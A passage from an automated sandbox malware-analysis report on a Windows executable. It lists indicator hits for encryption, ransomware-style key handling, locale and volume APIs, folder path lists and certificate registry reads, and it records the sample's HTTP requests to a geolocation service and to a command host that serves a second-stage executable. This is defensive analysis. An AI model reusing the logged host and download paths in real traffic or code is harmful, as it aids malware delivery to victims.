00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "EC PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "private key header missing" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "unable to decode rsa private key" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "unknown public key type" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "unsupported public key type" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "wrong public key type" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "invalid private key" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "missing private key" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "invalid public key" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "private key decode error" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")2c:T63a,Contains base64 string in header "/geo" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "json" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "Internet" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "ExplorerHost" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "8422DA40E95D01A98042B9973519E352" in header "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "true" in header "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "Internet" in header "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "ExplorerHost" in header "GET /raud/get.php?pid=8422DA40E95D01A98042B9973519E352&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "Internet" in header "GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "ExplorerHost" in header "GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com"2d:T59a,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains ability to attach base64 encoded attachment to an email Matched sigs: Possibly contains Public/Private key (encryption) Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption2e:T2afe,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070000009e29057708f002030000000028000000240000000000010350f5f7000000000000000000000000000000000000000000d007fb023000000000000000070000000000fb02ecf4f70079d14171000000000000000090ee020360b001030700000000000000200000000000fb02d001fb02140cfb0200000000100cfb024800000048f5f70050f5047708f00203b0f5f700fcf5f700 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003720) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000078d7e00538cf0577f4348300e4d7e00501000000a8348300f4348300a8348300040000000400000000e0ab7400100000e4d7e00501000000a8348300cd9705779c970577861c79eab50fa274a83483000000057700000000140bcb6e0000000080eea8740100000000000000f8e2ab740000000004000000000000004840aa74f8e2ab74e8d7e00580e8cf73a092830080e8cf73e4d7e0050000000080e8cf7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000e6d8f00246d8f00 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ee4a9100064b9100 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000761c89008a1c8900 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000fe73910016749100 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d6658f00ec658f00 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000568791006e879100 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007e86910096869100 (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000007fc193e0338e40716803fb00d7000677c0f2fb00d0bb407113a02a91feffffff30f2fb008c753f71e0f1fb0098f2fb0000000000a5753f7198f2fb00ffffffffffffffff230000000000000098f2fb00000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff230000000000000098f2fb00000000001c0000000000000000000000000000000000000017c193e0d0f2fb00 (UID: 00000000-00005260)2f:T7ce,Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolume"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "FindNextVolumeMountPointW" (Indicator: "FindNextVolumeMountPoint"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")30:T874,Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")31:T4c5,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")32:T446,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")33:Tf30,Found string "%username%" (Indicator: "%username%"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "%username%" (Indicator: "%username%"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "E:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") file/memory contains long string with (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp") Found string "ers\%username%\AppData\Roaming\|E:\Users\%username%\AppData\Local\|E:\Windows\|E:\PerfLogs\|E:\ProgramData\Desktop\|E:\ProgramData\Microsoft\|E:\Progr" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "lic\|C:\Users\All Users\|C:\Users\Default\|C:\Documents and Settings\|C:\ProgramData\|C:\Recovery\|C:\System Volume Information\|C:\Users\%username%\A" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "Games\|F:\Users\%username%\AppData\Roaming\|F:\Users\%username%\AppData\Local\|F:\Windows\|F:\PerfLogs\|F:\ProgramData\Desktop\|F:\ProgramData\Microso" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "ppData\Roaming\|C:\Users\%username%\AppData\Local\|C:\Windows\|C:\PerfLogs\|C:\ProgramData\Microsoft\|C:\ProgramData\Package Cache\|C:\Users\Public\|C" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "e%\AppData\Roaming\|D:\Users\%username%\AppData\Local\|D:\Windows\|D:\PerfLogs\|D:\ProgramData\Desktop\|D:\ProgramData\Microsoft\|D:\ProgramData\Packa" (Indicator: "%username%"; Source: "00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp")34:Td68,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")35:T727,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" (Path: 